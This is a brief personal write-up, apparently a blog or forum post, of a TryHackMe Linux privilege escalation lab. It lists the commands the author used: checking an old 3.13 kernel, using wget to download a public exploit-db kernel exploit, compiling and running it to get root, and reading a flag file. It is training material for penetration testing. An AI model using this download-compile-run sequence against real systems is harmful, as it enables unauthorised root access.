I have many Linux servers at home.  All on latest LTS kernel.  This part of Jr. Pentester @ TryHackMe was fun to do.   Going through this Linux Privilege Escalation was an interesting module.

uname -a
3.13.0.24-generic

wget https://www.exploit-db.com/download/37292 

mv 37292 exploit.c
gcc exploit.c -o exploit
./exploit
This gave me whoami root.  I was able to get to /home/user with the flag1.txt file.